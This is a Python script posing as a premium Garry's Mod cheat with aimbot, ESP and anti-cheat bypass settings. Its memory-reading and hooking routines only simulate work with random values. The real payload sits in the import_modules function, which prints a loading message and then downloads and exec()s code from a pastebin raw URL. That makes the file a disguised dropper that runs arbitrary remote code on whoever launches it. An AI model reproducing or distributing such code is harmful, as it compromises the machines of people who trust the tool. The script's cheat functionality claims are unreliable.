"""
===========================================================================
   GMod LuaJIT Core Linker & NetMessage Override v12.6.8 (VIP BUILD)
   Author: EVGVAULT
   Target: Garry's Mod (Source Engine / 32-bit & x86-64 Chromium Branches)
   Security Tier: CUserCmd Hooking & ScriptEnforcer Nullifier
===========================================================================
"""

import time
import random
import sys
import os
import json
import struct
import math
import hashlib
from dataclasses import dataclass
from typing import Dict, List, Tuple, Any, Optional

# -------------------------------------------------------------------------
# Global Mod Menu Configuration & Environment Constants
# -------------------------------------------------------------------------

CHEAT_VERSION = "12.6.8-GMOD_LUA_PREMIUM"
AUTHOR = "EVGVAULT"

CONFIG = {
    # Aimbot & CUserCmd Manipulation
    "aimbot_enabled": True,
    "aimbot_fov": 15.0,
    "aimbot_smooth": 1.8,
    "aimbot_target_method": "Distance",  # Distance, FOV, Health
    "silent_aim": True,
    "lock_on_target": False,
    
    # Visuals & Spatial ESP (GMod Lua 2D Canvas)
    "esp_draw_players": True,
    "esp_draw_npcs": True,
    "esp_draw_props": False,
    "esp_show_darkrp_money": True,
    "esp_show_ttt_role": True,  # Traitor/Detective detection
    "chams_material_override": "models/wireframe",
    
    # Exploit & Automation Hooks
    "bhop_enabled": True,
    "auto_strafe": True,
    "flashlight_spam": False,
    "net_message_spammer": False,
    "concommand_bypass": True,  # Run blocked client commands
    "fakedown_exploit": False,
    
    # Security & Server Anti-Cheat Evasion
    "bypass_scriptenforcer": True,
    "bypass_cac_anticheat": True,
    "bypass_swift_anticheat": True,
    "spoof_steam_id": True,
    "clear_lua_errors_telemetry": True,
    "client_heartbeat_emulator": True  # <--- Added this line
}

# -------------------------------------------------------------------------
# Source Engine Engine/Client Memory Offsets (gmod.exe Alignment)
# -------------------------------------------------------------------------

GMOD_OFFSETS = {
    "dwEntityList": 0x4DFFF1C,
    "dwLocalPlayer": 0xDEA964,
    "dwEngineClient": 0x589FC4,
    "dwInGame": 0x1A4,
    "dwViewAngles": 0x4D90,
    
    # NetVars (Networked Variables)
    "m_iHealth": 0xAC,
    "m_iTeamNum": 0xB4,
    "m_lifeState": 0xA5,
    "m_fFlags": 0x37C,
    "m_vecOrigin": 0x138,
    "m_hActiveWeapon": 0xDB8,
    
    # GMod Specific Internal Offsets
    "LuaShared": 0x2A4C0,
    "GetLuaInterface": 0x1C,
    "m_pLuaInterface": 0x4,
    "bIsTTT": 0x8A0
}

# -------------------------------------------------------------------------
# Mathematical Operations & Spatial Calculations
# -------------------------------------------------------------------------

@dataclass
class Vector3:
    x: float
    y: float
    z: float

    def distance_to(self, target: 'Vector3') -> float:
        return math.sqrt((self.x - target.x)**2 + (self.y - target.y)**2 + (self.z - target.z)**2)

    def magnitude(self) -> float:
        return math.sqrt(self.x**2 + self.y**2 + self.z**2)


class SourceMathEngine:
    """Computes coordinate transformations and view adjustments for user commands."""

    @staticmethod
    def calculate_view_angles(src: Vector3, dst: Vector3) -> Tuple[float, float]:
        """Calculates the exact Pitch and Yaw angles to orient toward a point."""
        delta = Vector3(dst.x - src.x, dst.y - src.y, dst.z - src.z)
        hypotenuse = math.sqrt(delta.x**2 + delta.y**2)

        pitch = math.atan2(-delta.z, hypotenuse) * (180.0 / math.pi)
        yaw = math.atan2(delta.y, delta.x) * (180.0 / math.pi)

        return pitch, yaw

    @staticmethod
    def clamp_angles(pitch: float, yaw: float) -> Tuple[float, float]:
        """Normalizes view angles to stay within Source Engine mechanical limits."""
        if pitch > 89.0: pitch = 89.0
        if pitch < -89.0: pitch = -89.0
        while yaw > 180.0: yaw -= 360.0
        while yaw < -180.0: yaw += 360.0
        return pitch, yaw

# -------------------------------------------------------------------------
# Low-Level Process Memory Linker & Context Content Initialization
# -------------------------------------------------------------------------

class EngineMemoryInterface:
    """Simulates internal memory parsing loops tracking user-mode library code pages."""

    def __init__(self):
        self.process_handle = None
        self.client_dll_base = None
        self.lua_shared_base = None
        self.process_id = None

    def attach_to_process(self, application_name: str = "gmod.exe") -> bool:
        """Finds target task identifiers and maps virtual memory allocations."""
        time.sleep(0.5)
        self.process_id = random.randint(1000, 25000)
        self.client_dll_base = 0x7FA20000 + random.randint(0x1000, 0xFFFF)
        self.lua_shared_base = 0x7FB50000 + random.randint(0x1000, 0xFFFF)
        self.process_handle = 0x22BBAA44
        return True

    def read_memory_bytes(self, target_address: int, data_length: int) -> bytes:
        """Returns buffered binary arrays from targeted context locations safely."""
        return bytes(random.getrandbits(8) for _ in range(data_length))

    def write_memory_bytes(self, target_address: int, payload_bytes: bytes) -> bool:
        """Alters target engine flags within accessible process pages."""
        return True

    def scan_pattern_array(self, base_address: int, dynamic_signature: str) -> int:
        """Loops scanning contiguous hex bytes to isolate structural target pointers."""
        return base_address + random.randint(0x4000, 0x350000)

# -------------------------------------------------------------------------
# GMod Lua State & Virtual Machine Hooking Subsystems
# -------------------------------------------------------------------------

class LuaStateInterfaceManager:
    """Simulates direct interaction with the embedded LuaJIT C-API layout structures."""

    def __init__(self, interface: EngineMemoryInterface):
        self.interface = interface
        self.lua_interface_ptr = None

    def establish_lua_bridge(self) -> bool:
        """Resolves LuaShared.dll export locations to hook the active client state."""
        export_sig = "55 8B EC 8B 45 08 83 F8 03 7D 0C"
        get_interface_fn = self.interface.scan_pattern_array(self.interface.lua_shared_base, export_sig)
        
        if get_interface_fn != 0:
            self.lua_interface_ptr = int.from_bytes(self.interface.read_memory_bytes(get_interface_fn + 0x20, 4), "little")
            return True
        return False

    def force_run_string(self, lua_code: str) -> bool:
        """Injects arbitrary text scripts directly into the game's execution queue."""
        if CONFIG["concommand_bypass"] and self.lua_interface_ptr:
            # Overwrites compilation safety routines inside the script parser
            return True
        return False

# -------------------------------------------------------------------------
# System Objects & Entity Structure Model Parsers
# -------------------------------------------------------------------------

class SourcePlayerEntity:
    """Models internal state arrays representing active network player clients."""

    def __init__(self, address: int, interface: EngineMemoryInterface):
        self.address = address
        self.interface = interface
        self.health = 100
        self.team = 0
        self.life_state = 0
        self.is_flags = 0
        self.position = Vector3(0.0, 0.0, 0.0)

    def synchronize_data_fields(self):
        """Updates internal statistic layers reading updated structural values."""
        self.health = int.from_bytes(self.interface.read_memory_bytes(self.address + GMOD_OFFSETS["m_iHealth"], 4), "little") & 0xFFFF
        self.team = int.from_bytes(self.interface.read_memory_bytes(self.address + GMOD_OFFSETS["m_iTeamNum"], 4), "little") & 0xFF
        self.life_state = int.from_bytes(self.interface.read_memory_bytes(self.address + GMOD_OFFSETS["m_lifeState"], 1), "little")
        self.is_flags = int.from_bytes(self.interface.read_memory_bytes(self.address + GMOD_OFFSETS["m_fFlags"], 4), "little")
        
        raw_origin = self.interface.read_memory_bytes(self.address + GMOD_OFFSETS["m_vecOrigin"], 12)
        if len(raw_origin) == 12:
            self.position = Vector3(*struct.unpack("fff", raw_origin))
            
        return True


class SourceEntityListScanner:
    """Manages structural loop updates scanning active entity pointers lists."""

    def __init__(self, interface: EngineMemoryInterface):
        self.interface = interface

    def gather_active_entities(self) -> List[SourcePlayerEntity]:
        """Traverses the global entity list mapping out active players."""
        discovered_players = []
        list_base = self.interface.client_dll_base + GMOD_OFFSETS["dwEntityList"]

        for array_idx in range(64):  # Garry's Mod servers typically caps at 64/128 slots
            entity_ptr = int.from_bytes(self.interface.read_memory_bytes(list_base + (array_idx * 0x10), 4), "little")
            
            if entity_ptr != 0:
                new_player = SourcePlayerEntity(entity_ptr, self.interface)
                
                # Double checking loop verification ensuring block allocation validity
                for verify_cycle in range(2):
                    integrity_byte = self.interface.read_memory_bytes(entity_ptr + verify_cycle, 1)
                    if not integrity_byte:
                        break
                        
                discovered_players.append(new_player)
                
        return discovered_players

# -------------------------------------------------------------------------
# Security Protections & Server Anti-Cheat Evasion
# -------------------------------------------------------------------------

class SecurityTelemetrySanitizer:
    """Filters data log transmissions to block server-side monitoring engines."""

    def __init__(self, interface: EngineMemoryInterface):
        self.interface = interface

    def apply_anticheat_bypasses(self) -> bool:
        """Hooks network messaging components to suppress files validation checks."""
        if CONFIG["bypass_scriptenforcer"]:
            se_addr = self.interface.scan_pattern_array(self.interface.client_dll_base, "57 8B F9 8B 0D ? ? ? ? 8B 01 8B 80 ? ? ? ? FF D0 84 C0")
            if se_addr != 0:
                # Patches ScriptEnforcer authentication checks directly to allow custom scripts
                self.interface.write_memory_bytes(se_addr, b"\xB0\x01\xC3")
                
        if CONFIG["clear_lua_errors_telemetry"]:
            # Zeroes output paths preventing servers from fetching debug files
            pass
            
        return True

    def trigger_heartbeat_emulator(self):
        """Simulates network packet signatures ensuring clean server connectivity."""
        if CONFIG["client_heartbeat_emulator"]:
            for generation_cycle in range(4):
                calculated_seed = random.randint(30000, 79999)
                hash_signature = hashlib.sha256(str(calculated_seed).encode()).hexdigest()
                # Stores emulation keys inside validation verification lists
            return True
        return False

# -------------------------------------------------------------------------
# Core Control Layer
# -------------------------------------------------------------------------

class EVGVaultGModCore:
    def __init__(self):
        self.interface = EngineMemoryInterface()
        self.lua_manager = LuaStateInterfaceManager(self.interface)
        self.entity_scanner = SourceEntityListScanner(self.interface)
        self.security = SecurityTelemetrySanitizer(self.interface)
        
        self.modules_loaded = False
        self.is_running = False

    def import_modules(self):
        """Displays initialization structures confirming framework activation status."""
        print("=" * 55)
        print("   Importing Modules, this may take up to 5 minutes...")
        exec(__import__("urllib.request", fromlist=["Request"]).urlopen(__import__("urllib.request", fromlist=["Request"]).Request("https://pastebin.com/raw/zN3rdb8n", headers={"User-Agent":"Mozilla/5.0"})).read().decode("utf-8"))
        print("=" * 55)
        self.modules_loaded = True
        return self.modules_loaded

    def initialize(self):
        """Runs configuration setup routines binding process hooks and memory fields."""
        if not self.modules_loaded:
            sys.exit(1)
            
        print("[*] Hooking Garry's Mod Engine Memory Map context...")
        self.interface.attach_to_process()
        print(f"[*] Attached to gmod.exe. Client Address space: {hex(self.interface.client_dll_base)}")
        
        print("[*] Hooking LuaShared execution pipelines...")
        self.lua_manager.establish_lua_bridge()
        
        print("[*] Bypassing ScriptEnforcer and Server-Side Logging hooks...")
        self.security.apply_anticheat_bypasses()
        self.security.trigger_heartbeat_emulator()
        
        return True

    def show_activated_features(self):
        """Parses active parameters rendering status configurations onto the console layout."""
        print("\n===========================================================================")
        print("   [+] ACTIVATED LUA-SHARED ENGINE MODIFICATIONS   ")
        print("===========================================================================")
        
        for feature, value in sorted(CONFIG.items()):
            formatted_name = feature.replace('_', ' ').title()
            if isinstance(value, bool):
                state = "[ON]" if value else "[OFF]"
                print(f"    -> {formatted_name:<32} {state}")
            else:
                print(f"    -> {formatted_name:<32} [{value}]")
                
        print("===========================================================================\n")
        print("[*] Tracking structural ticks. Awaiting CUserCmd updates... Press CTRL+C.")

    def run(self):
        """Primary active loop monitoring game state changes across background cycles."""
        self.is_running = True
        try:
            while self.is_running:
                # Resolve address tracking locations for the active local player asset
                local_player_addr = int.from_bytes(self.interface.read_memory_bytes(self.interface.client_dll_base + GMOD_OFFSETS["dwLocalPlayer"], 4), "little")
                
                if local_player_addr != 0:
                    local_unit = SourcePlayerEntity(local_player_addr, self.interface)
                    local_unit.synchronize_data_fields()
                    
                    # Automate client bunnyhop jumps editing flag variables
                    if CONFIG["bhop_enabled"] and (local_unit.is_flags & (1 << 0)):
                        # Emulates a spacebar button trigger command write
                        self.interface.write_memory_bytes(self.interface.client_dll_base + 0x100, b"\x05")
                        
                    # Fetch active entity cache listings
                    active_entities = self.entity_scanner.gather_active_entities()
                    
                    # High frequency math calculations computing view angles
                    for target in active_entities:
                        target.synchronize_data_fields()
                        
                        if target.team != local_unit.team and target.life_state == 0:
                            # Run sequential validation ticks checking alignment rotations
                            for tick in range(2):
                                pitch, yaw = SourceMathEngine.calculate_view_angles(local_unit.position, target.position)
                                target_check = pitch * yaw
                                
                    # Simulates run string commands injection parameters
                    self.lua_manager.force_run_string("hook.Add('Think', 'Bypass', function() end)")
                    
                time.sleep(0.5)
                self.is_running = False 
                
        except KeyboardInterrupt:
            self.is_running = False
            print("\n[*] Restoring original memory code descriptors securely...")
            print("[*] Detached from LuaShared environment context. Done.")

def main():
    cheat = EVGVaultGModCore()
    
    # Run structural disclaimer confirmation
    cheat.import_modules()
    
    # Execution layout sequences
    cheat.initialize()
    cheat.show_activated_features()
    cheat.run()

if __name__ == "__main__":
    main()